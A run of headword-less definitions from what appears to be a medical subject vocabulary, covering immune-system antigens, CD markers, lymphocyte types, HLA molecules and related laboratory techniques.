Substances that are recognized by the immune system and induce an immune reaction.
Differentiation antigens residing on mammalian leukocytes. CD stands for cluster of differentiation, which refers to groups of monoclonal antibodies that show similar reactivity with certain subpopulations of antigens of a particular lineage or differentiation stage. The subpopulations of antigens are also known by the same CD designation.
Differentiation antigens found on thymocytes and on cytotoxic and suppressor T-lymphocytes. CD8 antigens are members of the immunoglobulin supergene family and are associative recognition elements in MHC (Major Histocompatibility Complex) Class I-restricted interactions.
Proteins, glycoprotein, or lipoprotein moieties on surfaces of tumor cells that are usually identified by monoclonal antibodies. Many of these are of either embryonic or viral origin.
Complex of at least five membrane-bound polypeptides in mature T-lymphocytes that are non-covalently associated with one another and with the T-cell receptor (RECEPTORS, ANTIGEN, T-CELL). The CD3 complex includes the gamma, delta, epsilon, zeta, and eta chains (subunits). When antigen binds to the T-cell receptor, the CD3 complex transduces the activating signals to the cytoplasm of the T-cell. The CD3 gamma and delta chains (subunits) are separate from and not related to the gamma/delta chains of the T-cell receptor (RECEPTORS, ANTIGEN, T-CELL, GAMMA-DELTA).
Antigens on surfaces of cells, including infectious or foreign cells or viruses. They are usually protein-containing groups on cell membranes or walls and may be isolated.
Substances elaborated by bacteria that have antigenic activity.
A bifunctional enzyme that catalyzes the synthesis and HYDROLYSIS of CYCLIC ADP-RIBOSE (cADPR) from NAD+ to ADP-RIBOSE. It is a cell surface molecule which is predominantly expressed on LYMPHOID CELLS and MYELOID CELLS.
Glycoproteins found on immature hematopoietic cells and endothelial cells. They are the only molecules to date whose expression within the blood system is restricted to a small number of progenitor cells in the bone marrow.
Differentiation antigens expressed on B-lymphocytes and B-cell precursors. They are involved in regulation of B-cell proliferation.
A member of the tumor necrosis factor receptor superfamily with specificity for CD40 LIGAND. It is found on mature B-LYMPHOCYTES and some EPITHELIAL CELLS, lymphoid DENDRITIC CELLS. Evidence suggests that CD40-dependent activation of B-cells is important for generation of memory B-cells within the germinal centers. Mutations of the gene for CD40 antigen result in HYPER-IGM IMMUNODEFICIENCY SYNDROME, TYPE 3. Signaling of the receptor occurs through its association with TNF RECEPTOR-ASSOCIATED FACTORS.
A membrane glycoprotein and differentiation antigen expressed on the surface of T-cells that binds to CD40 ANTIGENS on B-LYMPHOCYTES and induces their proliferation. Mutation of the gene for CD40 ligand is a cause of HYPER-IGM IMMUNODEFICIENCY SYNDROME, TYPE 1.
Unglycosylated phosphoproteins expressed only on B-cells. They are regulators of transmembrane Ca2+ conductance and thought to play a role in B-cell activation and proliferation.
Substances elaborated by viruses that have antigenic activity.
Costimulatory T-LYMPHOCYTE receptors that have specificity for CD80 ANTIGEN and CD86 ANTIGEN. Activation of this receptor results in increased T-cell proliferation, cytokine production and promotion of T-cell survival.
Acidic sulfated integral membrane glycoproteins expressed in several alternatively spliced and variable glycosylated forms on a wide variety of cell types including mature T-cells, B-cells, medullary thymocytes, granulocytes, macrophages, erythrocytes, and fibroblasts. CD44 antigens are the principle cell surface receptors for hyaluronate and this interaction mediates binding of lymphocytes to high endothelial venules. (From Abbas et al., Cellular and Molecular Immunology, 2d ed, p156)
Differentiation antigens expressed on pluripotential hematopoietic cells, most human thymocytes, and a major subset of peripheral blood T-lymphocytes. They have been implicated in integrin-mediated cellular adhesion and as signalling receptors on T-cells.
Glycolipid-anchored membrane glycoproteins expressed on cells of the myelomonocyte lineage including monocytes, macrophages, and some granulocytes. They function as receptors for the complex of lipopolysaccharide (LPS) and LPS-binding protein.
Glycoprotein members of the immunoglobulin superfamily which participate in T-cell adhesion and activation. They are expressed on most peripheral T-lymphocytes, natural killer cells, and thymocytes, and function as co-receptors or accessory molecules in the T-cell receptor complex.
Ratio of T-LYMPHOCYTES that express the CD4 ANTIGEN to those that express the CD8 ANTIGEN. This value is commonly assessed in the diagnosis and staging of diseases affecting the IMMUNE SYSTEM including HIV INFECTIONS.
Glycoproteins expressed on all mature T-cells, thymocytes, and a subset of mature B-cells. Antibodies specific for CD5 can enhance T-cell receptor-mediated T-cell activation. The B-cell-specific molecule CD72 is a natural ligand for CD5. (From Abbas et al., Cellular and Molecular Immunology, 2d ed, p156)
Antigens expressed primarily on the membranes of living cells during sequential stages of maturation and differentiation. As immunologic markers they have high organ and tissue specificity and are useful as probes in studies of normal cell development as well as neoplastic transformation.
A critical subpopulation of T-lymphocytes involved in the induction of most immunological functions. The HIV virus has selective tropism for the T4 cell which expresses the CD4 phenotypic marker, a receptor for HIV. In fact, the key element in the profound immunosuppression seen in HIV infection is the depletion of this subset of T-lymphocytes.
Glycoproteins expressed on cortical thymocytes and on some dendritic cells and B-cells. Their structure is similar to that of MHC Class I and their function has been postulated as similar also. CD1 antigens are highly specific markers for human LANGERHANS CELLS.
Antibodies produced by a single clone of cells.
The 140 kDa isoform of NCAM (neural cell adhesion molecule) containing a transmembrane domain and short cytoplasmic tail. It is expressed by all lymphocytes mediating non-MHC restricted cytotoxicity and is present on some neural tissues and tumors.
Antigens expressed on the cell membrane of T-lymphocytes during differentiation, activation, and normal and neoplastic transformation. Their phenotypic characterization is important in differential diagnosis and studies of thymic ontogeny and T-cell function.
A membrane-bound or cytosolic enzyme that catalyzes the synthesis of CYCLIC ADP-RIBOSE (cADPR) from nicotinamide adenine dinucleotide (NAD). This enzyme generally catalyzes the hydrolysis of cADPR to ADP-RIBOSE, as well, and sometimes the synthesis of cyclic ADP-ribose 2' phosphate (2'-P-cADPR) from NADP.
Surface antigens expressed on myeloid cells of the granulocyte-monocyte-histiocyte series during differentiation. Analysis of their reactivity in normal and malignant myelomonocytic cells is useful in identifying and classifying human leukemias and lymphomas.
A costimulatory ligand expressed by ANTIGEN-PRESENTING CELLS that binds to CTLA-4 ANTIGEN with high specificity and to CD28 ANTIGEN with low specificity. The interaction of CD80 with CD28 ANTIGEN provides a costimulatory signal to T-LYMPHOCYTES, while its interaction with CTLA-4 ANTIGEN may play a role in inducing PERIPHERAL TOLERANCE.
Tetraspanin proteins found at high levels in cells of the lymphoid-myeloid lineage. CD53 antigens may be involved regulating the differentiation of T-LYMPHOCYTES and the activation of B-LYMPHOCYTES.
A cell adhesion protein that was originally identified as a heat stable antigen in mice. It is involved in METASTASIS and is highly expressed in many NEOPLASMS.
Zinc-binding metalloproteases that are members of the type II integral membrane metalloproteases. They are expressed by GRANULOCYTES; MONOCYTES; and their precursors as well as by various non-hematopoietic cells. They release an N-terminal amino acid from a peptide, amide or arylamide.
Any part or derivative of any protozoan that elicits immunity; malaria (Plasmodium) and trypanosome antigens are presently the most frequently encountered.
Lymphocytes responsible for cell-mediated immunity. Two types have been identified - cytotoxic (T-LYMPHOCYTES, CYTOTOXIC) and helper T-lymphocytes (T-LYMPHOCYTES, HELPER-INDUCER). They are formed when lymphocytes circulate through the THYMUS GLAND and differentiate to thymocytes. When exposed to an antigen, they divide rapidly and produce large numbers of new T cells sensitized to that antigen.
A costimulatory ligand expressed by ANTIGEN-PRESENTING CELLS that binds to CD28 ANTIGEN with high specificity and to CTLA-4 ANTIGEN with low specificity. The interaction of CD86 with CD28 ANTIGEN provides a stimulatory signal to T-LYMPHOCYTES, while its interaction with CTLA-4 ANTIGEN may play a role in inducing PERIPHERAL TOLERANCE.
Technique using an instrument system for making, processing, and displaying one or more measurements on individual cells obtained from a cell suspension. Cells are usually stained with one or more fluorescent dyes specific to cell components of interest, e.g., DNA, and fluorescence of each cell is measured as it rapidly transverses the excitation beam (laser or mercury arc lamp). Fluorescence provides a quantitative measure of various biochemical and biophysical properties of the cell, as well as a basis for cell sorting. Other measurable optical parameters include light absorption and light scattering, the latter being applicable to the measurement of cell size, shape, density, granularity, and stain uptake.
Lymphoid cells concerned with humoral immunity. They are short-lived cells resembling bursa-derived lymphocytes of birds in their production of immunoglobulin upon appropriate stimulation.
Polyomavirus antigens which cause infection and cellular transformation. The large T antigen is necessary for the initiation of viral DNA synthesis, repression of transcription of the early region and is responsible in conjunction with the middle T antigen for the transformation of primary cells. Small T antigen is necessary for the completion of the productive infection cycle.
A tumor necrosis factor receptor subtype found in a variety of tissues and on activated LYMPHOCYTES. It has specificity for FAS LIGAND and plays a role in regulation of peripheral immune responses and APOPTOSIS. Multiple isoforms of the protein exist due to multiple ALTERNATIVE SPLICING. The activated receptor signals via a conserved death domain that associates with specific TNF RECEPTOR-ASSOCIATED FACTORS in the CYTOPLASM.
Antigens determined by leukocyte loci found on chromosome 6, the major histocompatibility loci in humans. They are polypeptides or glycoproteins found on most nucleated cells and platelets, determine tissue types for transplantation, and are associated with certain diseases.
Membrane antigens associated with maturation stages of B-lymphocytes, often expressed in tumors of B-cell origin.
High-molecular weight glycoproteins uniquely expressed on the surface of LEUKOCYTES and their hemopoietic progenitors. They contain a cytoplasmic protein tyrosine phosphatase activity which plays a role in intracellular signaling from the CELL SURFACE RECEPTORS. The CD45 antigens occur as multiple isoforms that result from alternative mRNA splicing and differential usage of three exons.
Process of classifying cells of the immune system based on structural and functional differences. The process is commonly used to analyze and sort T-lymphocytes into subsets based on CD antigens by the technique of flow cytometry.
Substances of fungal origin that have antigenic activity.
Descriptions of specific amino acid, carbohydrate, or nucleotide sequences which have appeared in the published literature and/or are deposited in and maintained by databanks such as GENBANK, European Molecular Biology Laboratory (EMBL), National Biomedical Research Foundation (NBRF), or other sequence repositories.
The major group of transplantation antigens in the mouse.
A 67-kDa sialic acid binding lectin that is specific for MYELOID CELLS and MONOCYTE-MACROPHAGE PRECURSOR CELLS. This protein is the smallest siglec subtype and contains a single immunoglobulin C2-set domain. It may play a role in intracellular signaling via its interaction with SHP-1 PROTEIN-TYROSINE PHOSPHATASE and SHP-2 PROTEIN-TYROSINE PHOSPHATASE.
Any part or derivative of a helminth that elicits an immune reaction. The most commonly seen helminth antigens are those of the schistosomes.
Molecules on the surface of T-lymphocytes that recognize and combine with antigens. The receptors are non-covalently associated with a complex of several polypeptides collectively called CD3 antigens (ANTIGENS, CD3). Recognition of foreign antigen and the major histocompatibility complex is accomplished by a single heterodimeric antigen-receptor structure, composed of either alpha-beta (RECEPTORS, ANTIGEN, T-CELL, ALPHA-BETA) or gamma-delta (RECEPTORS, ANTIGEN, T-CELL, GAMMA-DELTA) chains.
Cell-surface glycoprotein beta-chains that are non-covalently linked to specific alpha-chains of the CD11 family of leukocyte-adhesion molecules (RECEPTORS, LEUKOCYTE-ADHESION). A defect in the gene encoding CD18 causes LEUKOCYTE-ADHESION DEFICIENCY SYNDROME.
Morphologic alteration of small B LYMPHOCYTES or T LYMPHOCYTES in culture into large blast-like cells able to synthesize DNA and RNA and to divide mitotically. It is induced by INTERLEUKINS; MITOGENS such as PHYTOHEMAGGLUTININS, and by specific ANTIGENS. It may also occur in vivo as in GRAFT REJECTION.
A member of the tumor necrosis factor receptor superfamily that may play a role in the regulation of NF-KAPPA B and APOPTOSIS. They are found on activated T-LYMPHOCYTES; B-LYMPHOCYTES; NEUTROPHILS; EOSINOPHILS; MAST CELLS and NK CELLS. Overexpression of CD30 antigen in hematopoietic malignancies make the antigen clinically useful as a biological tumor marker. Signaling of the receptor occurs through its association with TNF RECEPTOR-ASSOCIATED FACTORS.
Glycoproteins found on the membrane or surface of cells.
A critical subpopulation of regulatory T-lymphocytes involved in MHC Class I-restricted interactions. They include both cytotoxic T-lymphocytes (T-LYMPHOCYTES, CYTOTOXIC) and CD8+ suppressor T-lymphocytes.
Sites on an antigen that interact with specific antibodies.
A subtype of tetraspanin proteins that play a role in cell adhesion, cell motility, and tumor metastasis. CD9 antigens take part in the process of platelet activation and aggregation, the formation of paranodal junctions in neuronal tissue, and the fusion of sperm with egg.
A glycoprotein that is secreted into the luminal surface of the epithelia in the gastrointestinal tract. It is found in the feces and pancreaticobiliary secretions and is used to monitor the response to colon cancer treatment.
A subclass of HLA-D antigens that consist of alpha and beta chains. The inheritance of HLA-DR antigens differs from that of the HLA-DQ ANTIGENS and HLA-DP ANTIGENS.
A trisaccharide antigen expressed on glycolipids and many cell-surface glycoproteins. In the blood the antigen is found on the surface of NEUTROPHILS; EOSINOPHILS; and MONOCYTES. In addition, CD15 antigen is a stage-specific embryonic antigen.
Those proteins recognized by antibodies from serum of animals bearing tumors induced by viruses; these proteins are presumably coded for by the nucleic acids of the same viruses that caused the neoplastic transformation.
Established cell cultures that have the potential to propagate indefinitely.
A sialic acid-rich protein and an integral cell membrane mucin. It plays an important role in activation of T-LYMPHOCYTES.
Leukocyte differentiation antigens and major platelet membrane glycoproteins present on MONOCYTES; ENDOTHELIAL CELLS; PLATELETS; and mammary EPITHELIAL CELLS. They play major roles in CELL ADHESION; SIGNAL TRANSDUCTION; and regulation of angiogenesis. CD36 is a receptor for THROMBOSPONDINS and can act as a scavenger receptor that recognizes and transports oxidized LIPOPROTEINS and FATTY ACIDS.
The order of amino acids as they occur in a polypeptide chain. This is referred to as the primary structure of proteins. It is of fundamental importance in determining PROTEIN CONFORMATION.
A group of three different alpha chains (CD11a, CD11b, CD11c) that are associated with an invariant CD18 beta chain (ANTIGENS, CD18). The three resulting leukocyte-adhesion molecules (RECEPTORS, LEUKOCYTE ADHESION) are LYMPHOCYTE FUNCTION-ASSOCIATED ANTIGEN-1; MACROPHAGE-1 ANTIGEN; and ANTIGEN, P150,95.
Large, transmembrane, non-covalently linked glycoproteins (alpha and beta). Both chains can be polymorphic although there is more structural variation in the beta chains. The class II antigens in humans are called HLA-D ANTIGENS and are coded by a gene on chromosome 6. In mice, two genes named IA and IE on chromosome 17 code for the H-2 antigens. The antigens are found on B-lymphocytes, macrophages, epidermal cells, and sperm and are thought to mediate the competence of and cellular cooperation in the immune response. The term IA antigens used to refer only to the proteins encoded by the IA genes in the mouse, but is now used as a generic term for any class II histocompatibility antigen.
A group of antigens that includes both the major and minor histocompatibility antigens. The former are genetically determined by the major histocompatibility complex. They determine tissue type for transplantation and cause allograft rejections. The latter are systems of allelic alloantigens that can cause weak transplant rejection.
Small glycoproteins found on both hematopoietic and non-hematopoietic cells. CD59 restricts the cytolytic activity of homologous complement by binding to C8 and C9 and blocking the assembly of the membrane attack complex. (From Barclay et al., The Leukocyte Antigen FactsBook, 1993, p234)
IMMUNOGLOBULINS on the surface of B-LYMPHOCYTES. Their MESSENGER RNA contains an EXON with a membrane spanning sequence, producing immunoglobulins in the form of type I transmembrane proteins as opposed to secreted immunoglobulins (ANTIBODIES) which do not contain the membrane spanning segment.
Nuclear antigen with a role in DNA synthesis, DNA repair, and cell cycle progression. PCNA is required for the coordinated synthesis of both leading and lagging strands at the replication fork during DNA replication. PCNA expression correlates with the proliferation activity of several malignant and non-malignant cell types.
Oligosaccharide antigenic determinants found principally on NK cells and T-cells. Their role in the immune response is poorly understood.
A transmembrane protein belonging to the tumor necrosis factor superfamily that specifically binds to CD27 ANTIGEN. It is found on activated T-LYMPHOCYTES; B-LYMPHOCYTES; and DENDRITIC CELLS where it plays a role in stimulating the proliferation of CD4-POSITIVE T-LYMPHOCYTES and CD8-POSITIVE T-LYMPHOCYTES.
A ubiquitously expressed complement receptor that binds COMPLEMENT C3B and COMPLEMENT C4B and serves as a cofactor for their inactivation. CD46 also interacts with a wide variety of pathogens and mediates immune response.
A class of animal lectins that bind to carbohydrate in a calcium-dependent manner. They share a common carbohydrate-binding domain that is structurally distinct from other classes of lectins.
Glycoproteins with a wide distribution on hematopoietic and non-hematopoietic cells and strongly expressed on macrophages. CD58 mediates cell adhesion by binding to CD2; (ANTIGENS, CD2); and this enhances antigen-specific T-cell activation.
55-kDa antigens found on HELPER-INDUCER T-LYMPHOCYTES and on a variety of other immune cell types. CD4 antigens are members of the immunoglobulin supergene family and are implicated as associative recognition elements in MAJOR HISTOCOMPATIBILITY COMPLEX class II-restricted immune responses. On T-lymphocytes they define the helper/inducer subset. CD4 antigens also serve as INTERLEUKIN-15 receptors and bind to the HIV receptors, binding directly to the HIV ENVELOPE PROTEIN GP120.
A ubiquitously expressed membrane glycoprotein. It interacts with a variety of INTEGRINS and mediates responses to EXTRACELLULAR MATRIX PROTEINS.
A CD antigen that contains a conserved I domain which is involved in ligand binding. When combined with CD18 the two subunits form MACROPHAGE-1 ANTIGEN.
The sequence of PURINES and PYRIMIDINES in nucleic acids and polynucleotides. It is also called nucleotide sequence.
A glycoprotein that is a kallikrein-like serine proteinase and an esterase, produced by epithelial cells of both normal and malignant prostate tissue. It is an important marker for the diagnosis of prostate cancer.
An integrin alpha subunit of approximately 150-kDa molecular weight. It is expressed at high levels on monocytes and combines with CD18 ANTIGEN to form the cell surface receptor INTEGRIN ALPHAXBETA2. The subunit contains a conserved I-domain which is characteristic of several of alpha integrins.
The lipopolysaccharide-protein somatic antigens, usually from gram-negative bacteria, important in the serological classification of enteric bacilli. The O-specific chains determine the specificity of the O antigens of a given serotype. O antigens are the immunodominant part of the lipopolysaccharide molecule in the intact bacterial cell. (From Singleton & Sainsbury, Dictionary of Microbiology and Molecular Biology, 2d ed)
A specific HLA-A surface antigen subtype. Members of this subtype contain alpha chains that are encoded by the HLA-A*02 allele family.
An immunoassay utilizing an antibody labeled with an enzyme marker such as horseradish peroxidase. While either the enzyme or the antibody is bound to an immunosorbent substrate, they both retain their biologic activity; the change in enzyme activity as a result of the enzyme-antibody-antigen reaction is proportional to the concentration of the antigen and can be measured spectrophotometrically or with the naked eye. Many variations of the method have been developed.
Histochemical localization of immunoreactive substances using labeled antibodies as reagents.
Progenitor cells from which all blood cells derive.
The number of CD4-POSITIVE T-LYMPHOCYTES per unit volume of BLOOD. Determination requires the use of a fluorescence-activated flow cytometer.
The major immunoglobulin isotype class in normal human serum. There are several isotype subclasses of IgG, for example, IgG1, IgG2A, and IgG2B.
Carbohydrate antigens expressed by malignant tissue. They are useful as tumor markers and are measured in the serum by means of a radioimmunoassay employing monoclonal antibodies.
GPI-linked membrane proteins broadly distributed among hematopoietic and non-hematopoietic cells. CD55 prevents the assembly of C3 CONVERTASE or accelerates the disassembly of preformed convertase, thus blocking the formation of the membrane attack complex.
Cell adhesion molecules present on virtually all monocytes, platelets, and granulocytes. CD31 is highly expressed on endothelial cells and concentrated at the junctions between them.
Cells grown in vitro from neoplastic tissue. If they can be established as a TUMOR CELL LINE, they can be propagated in cell culture indefinitely.
Membrane glycoproteins consisting of an alpha subunit and a BETA 2-MICROGLOBULIN beta subunit. In humans, highly polymorphic genes on CHROMOSOME 6 encode the alpha subunits of class I antigens and play an important role in determining the serological specificity of the surface antigen. Class I antigens are found on most nucleated cells and are generally detected by their reactivity with alloantisera. These antigens are recognized during GRAFT REJECTION and restrict cell-mediated lysis of virus-infected cells.
Tetraspanin proteins that are involved in a variety of cellular functions including BASEMENT MEMBRANE assembly, and in the formation of a molecular complexes on the surface of LYMPHOCYTES.
Cells propagated in vitro in special media conducive to their growth. Cultured cells are used to study developmental, morphologic, metabolic, physiologic, and genetic processes, among others.
A member of the tumor necrosis factor receptor superfamily that is specific for 4-1BB LIGAND. It is found in a variety of immune cell types including activated T-LYMPHOCYTES; NATURAL KILLER CELLS; and DENDRITIC CELLS. Activation of the receptor on T-LYMPHOCYTES plays a role in their expansion, production of cytokines and survival. Signaling by the activated receptor occurs through its association with TNF RECEPTOR-ASSOCIATED FACTORS.
Progressive restriction of the developmental potential and increasing specialization of function that leads to the formation of specialized cells, tissues, and organs.
Proteins prepared by recombinant DNA technology.
White blood cells formed in the body's lymphoid tissue. The nucleus is round or ovoid with coarse, irregularly clumped chromatin while the cytoplasm is typically pale blue with azurophilic (if any) granules. Most lymphocytes can be classified as either T or B (with subpopulations of each), or NATURAL KILLER CELLS.
Large, phagocytic mononuclear leukocytes produced in the vertebrate BONE MARROW and released into the BLOOD; contain a large, oval or somewhat indented nucleus surrounded by voluminous cytoplasm and numerous organelles.
Polymorphic class I human histocompatibility (HLA) surface antigens present on almost all nucleated cells. At least 20 antigens have been identified which are encoded by the A locus of multiple alleles on chromosome 6. They serve as targets for T-cell cytolytic responses and are involved with acceptance or rejection of tissue/organ grafts.
Serological reactions in which an antiserum against one antigen reacts with a non-identical but closely related antigen.
Specialized cells of the hematopoietic system that have branch-like extensions. They are found throughout the lymphatic system, and in non-lymphoid tissues such as SKIN and the epithelia of the intestinal, respiratory, and reproductive tracts. They trap and process ANTIGENS, and present them to T-CELLS, thereby stimulating CELL-MEDIATED IMMUNITY. They are different from the non-hematopoietic FOLLICULAR DENDRITIC CELLS, which have a similar morphology and immune system function, but with respect to humoral immunity (ANTIBODY PRODUCTION).
Receptors present on activated T-LYMPHOCYTES and B-LYMPHOCYTES that are specific for INTERLEUKIN-2 and play an important role in LYMPHOCYTE ACTIVATION. They are heterotrimeric proteins consisting of the INTERLEUKIN-2 RECEPTOR ALPHA SUBUNIT, the INTERLEUKIN-2 RECEPTOR BETA SUBUNIT, and the INTERLEUKIN RECEPTOR COMMON GAMMA-CHAIN.
Sets of cell surface antigens located on BLOOD CELLS. They are usually membrane GLYCOPROTEINS or GLYCOLIPIDS that are antigenically distinguished by their carbohydrate moieties.
Those hepatitis B antigens found on the surface of the Dane particle and on the 20 nm spherical and tubular particles. Several subspecificities of the surface antigen are known. These were formerly called the Australia antigen.
Ubiquitously-expressed tetraspanin proteins that are found in late ENDOSOMES and LYSOSOMES and have been implicated in intracellular transport of proteins.
The uptake of naked or purified DNA by CELLS, usually meaning the process as it occurs in eukaryotic cells. It is analogous to bacterial transformation (TRANSFORMATION, BACTERIAL) and both are routinely employed in GENE TRANSFER TECHNIQUES.
The property of antibodies which enables them to react with some ANTIGENIC DETERMINANTS and not with others. Specificity is dependent on chemical composition, physical forces, and molecular structure at the binding site.
Tetraspanin proteins found associated with LAMININ-binding INTEGRINS. The CD151 antigens may play a role in the regulation of CELL MOTILITY.
A component of the B-cell antigen receptor that is involved in B-cell antigen receptor heavy chain transport to the PLASMA MEMBRANE. It is expressed almost exclusively in B-LYMPHOCYTES and serves as a useful marker for B-cell NEOPLASMS.
An encapsulated lymphatic organ through which venous blood filters.
Test for tissue antigen using either a direct method, by conjugation of antibody with fluorescent dye (FLUORESCENT ANTIBODY TECHNIQUE, DIRECT) or an indirect method, by formation of antigen-antibody complex which is then labeled with fluorescein-conjugated anti-immunoglobulin antibody (FLUORESCENT ANTIBODY TECHNIQUE, INDIRECT). The tissue is then examined by fluorescence microscopy.
Human immune-response or Class II antigens found mainly, but not exclusively, on B-lymphocytes and produced from genes of the HLA-D locus. They are extremely polymorphic families of glycopeptides, each consisting of two chains, alpha and beta. This group of antigens includes the -DR, -DQ and -DP designations, of which HLA-DR is most studied; some of these glycoproteins are associated with certain diseases, possibly of immune etiology.
A membrane-bound tumor necrosis family member found primarily on activated T-LYMPHOCYTES that binds specifically to CD30 ANTIGEN. It may play a role in INFLAMMATION and immune regulation.
The outward appearance of the individual. It is the product of interactions between genes, and between the GENOTYPE and the environment.
A class of enzymes involved in the hydrolysis of the N-glycosidic bond of nitrogen-linked sugars.
A form of undifferentiated malignant LYMPHOMA usually found in central Africa, but also reported in other parts of the world. It is commonly manifested as a large osteolytic lesion in the jaw or as an abdominal mass. B-cell antigens are expressed on the immature cells that make up the tumor in virtually all cases of Burkitt lymphoma. The Epstein-Barr virus (HERPESVIRUS 4, HUMAN) has been isolated from Burkitt lymphoma cases in Africa and it is implicated as the causative agent in these cases; however, most non-African cases are EBV-negative.
Molecules on the surface of B- and T-lymphocytes that recognize and combine with specific antigens.
Deliberate stimulation of the host's immune response. ACTIVE IMMUNIZATION involves administration of ANTIGENS or IMMUNOLOGIC ADJUVANTS. PASSIVE IMMUNIZATION involves administration of IMMUNE SERA or LYMPHOCYTES or their extracts (e.g., transfer factor, immune RNA) or transplantation of immunocompetent cell producing tissue (thymus or bone marrow).
The production of ANTIBODIES by proliferating and differentiated B-LYMPHOCYTES under stimulation by ANTIGENS.
An alpha-integrin subunit found on lymphocytes, granulocytes, macrophages and monocytes. It combines with the integrin beta2 subunit (CD18 ANTIGEN) to form LYMPHOCYTE FUNCTION-ASSOCIATED ANTIGEN-1.
RNA sequences that serve as templates for protein synthesis. Bacterial mRNAs are generally primary transcripts in that they do not require post-transcriptional processing. Eukaryotic mRNA is synthesized in the nucleus and must be exported to the cytoplasm for translation. Most eukaryotic mRNAs have a sequence of polyadenylic acid at the 3' end, referred to as the poly(A) tail. The function of this tail is not known for certain, but it may play a role in the export of mature mRNA from the nucleus as well as in helping stabilize some mRNA molecules by retarding their degradation in the cytoplasm.
Antigens of the virion of the HEPATITIS B VIRUS or the Dane particle, its surface (HEPATITIS B SURFACE ANTIGENS), core (HEPATITIS B CORE ANTIGENS), and other associated antigens, including the HEPATITIS B E ANTIGENS.
The soft tissue filling the cavities of bones. Bone marrow exists in two types, yellow and red. Yellow marrow is found in the large cavities of large bones and consists mostly of fat cells and a few primitive blood cells. Red marrow is a hematopoietic tissue and is the site of production of erythrocytes and granular leukocytes. Bone marrow is made up of a framework of connective tissue containing branching fibers with the frame being filled with marrow cells.
The processes triggered by interactions of ANTIBODIES with their ANTIGENS.
Serum that contains antibodies. It is obtained from an animal that has been immunized either by ANTIGEN injection or infection with microorganisms containing the antigen.
The relatively long-lived phagocytic cell of mammalian tissues that are derived from blood MONOCYTES. Main types are PERITONEAL MACROPHAGES; ALVEOLAR MACROPHAGES; HISTIOCYTES; KUPFFER CELLS of the liver; and OSTEOCLASTS. They may further differentiate within chronic inflammatory lesions to EPITHELIOID CELLS or may fuse to form FOREIGN BODY GIANT CELLS or LANGHANS GIANT CELLS. (from The Dictionary of Cell Biology, Lackie and Dow, 3rd ed.)
Mice homozygous for the mutant autosomal recessive gene "scid" which is located on the centromeric end of chromosome 16. These mice lack mature, functional lymphocytes and are thus highly susceptible to lethal opportunistic infections if not chronically treated with antibiotics. The lack of B- and T-cell immunity resembles severe combined immunodeficiency (SCID) syndrome in human infants. SCID mice are useful as animal models since they are receptive to implantation of a human immune system producing SCID-human (SCID-hu) hematochimeric mice.
Immunized T-lymphocytes which can directly destroy appropriate target cells. These cytotoxic lymphocytes may be generated in vitro in mixed lymphocyte cultures (MLC), in vivo during a graft-versus-host (GVH) reaction, or after immunization with an allograft, tumor cell or virally transformed or chemically modified target cell. The lytic phenomenon is sometimes referred to as cell-mediated lympholysis (CML). These CD8-positive cells are distinct from NATURAL KILLER CELLS and NATURAL KILLER T-CELLS. There are two effector phenotypes: TC1 and TC2.
Recombinant proteins produced by the GENETIC TRANSLATION of fused genes formed by the combination of NUCLEIC ACID REGULATORY SEQUENCES of one or more genes with the protein coding sequences of one or more genes.
The fission of a CELL. It includes CYTOKINESIS, when the CYTOPLASM of a cell is divided, and CELL NUCLEUS DIVISION.
A heterogeneous group of immunocompetent cells that mediate the cellular immune response by processing and presenting antigens to the T-cells. Traditional antigen-presenting cells include MACROPHAGES; DENDRITIC CELLS; LANGERHANS CELLS; and B-LYMPHOCYTES. FOLLICULAR DENDRITIC CELLS are not traditional antigen-presenting cells, but because they hold antigen on their cell surface in the form of IMMUNE COMPLEXES for B-cell recognition they are considered so by some authors.
The type species of LYMPHOCRYPTOVIRUS, subfamily GAMMAHERPESVIRINAE, infecting B-cells in humans. It is thought to be the causative agent of INFECTIOUS MONONUCLEOSIS and is strongly associated with oral hairy leukoplakia (LEUKOPLAKIA, HAIRY;), BURKITT LYMPHOMA; and other malignancies.
T-cell receptors composed of CD3-associated alpha and beta polypeptide chains and expressed primarily in CD4+ or CD8+ T-cells. Unlike immunoglobulins, the alpha-beta T-cell receptors recognize antigens only when presented in association with major histocompatibility (MHC) molecules.
Immunoglobulins produced in a response to BACTERIAL ANTIGENS.
Class I human histocompatibility (HLA) surface antigens encoded by more than 30 detectable alleles on locus B of the HLA complex, the most polymorphic of all the HLA specificities. Several of these antigens (e.g., HLA-B27, -B7, -B8) are strongly associated with predisposition to rheumatoid and other autoimmune disorders. Like other class I HLA determinants, they are involved in the cellular immune reactivity of cytolytic T lymphocytes.
The altered state of immunologic responsiveness resulting from initial contact with antigen, which enables the individual to produce antibodies more rapidly and in greater quantity in response to secondary antigenic stimulus.
Cells contained in the bone marrow including fat cells (see ADIPOCYTES); STROMAL CELLS; MEGAKARYOCYTES; and the immediate precursors of most blood cells.
The phenomenon of target cell destruction by immunologically active effector cells. It may be brought about directly by sensitized T-lymphocytes or by lymphoid or myeloid "killer" cells, or it may be mediated by cytotoxic antibody, cytotoxic factor released by lymphoid cells, or complement.
Laboratory mice that have been produced from a genetically manipulated EGG or EMBRYO, MAMMALIAN.
A melanosome-specific protein that plays a role in the expression, stability, trafficking, and processing of GP100 MELANOMA ANTIGEN, which is critical to the formation of Stage II MELANOSOMES. The protein is used as an antigen marker for MELANOMA cells.
A widely distributed cell surface transmembrane glycoprotein that stimulates the synthesis of MATRIX METALLOPROTEINASES. It is found at high levels on the surface of malignant NEOPLASMS and may play a role as a mediator of malignant cell behavior.
A general term for various neoplastic diseases of the lymphoid tissue.
An albumin obtained from the white of eggs. It is a member of the serpin superfamily.
Antigens associated with specific proteins of the human adult T-cell immunodeficiency virus (HIV); also called HTLV-III-associated and lymphadenopathy-associated virus (LAV) antigens.
An inhibitory T CELL receptor that is closely related to CD28 ANTIGEN. It has specificity for CD80 ANTIGEN and CD86 ANTIGEN and acts as a negative regulator of peripheral T cell function. CTLA-4 antigen is believed to play role in inducing PERIPHERAL TOLERANCE.
A promyelocytic cell line derived from a patient with ACUTE PROMYELOCYTIC LEUKEMIA. HL-60 cells lack specific markers for LYMPHOID CELLS but express surface receptors for FC FRAGMENTS and COMPLEMENT SYSTEM PROTEINS. They also exhibit phagocytic activity and responsiveness to chemotactic stimuli. (From Hay et al., American Type Culture Collection, 7th ed, pp127-8)
A widely expressed transmembrane glycoprotein that functions as a METASTASIS suppressor protein. It is underexpressed in a variety of human NEOPLASMS.
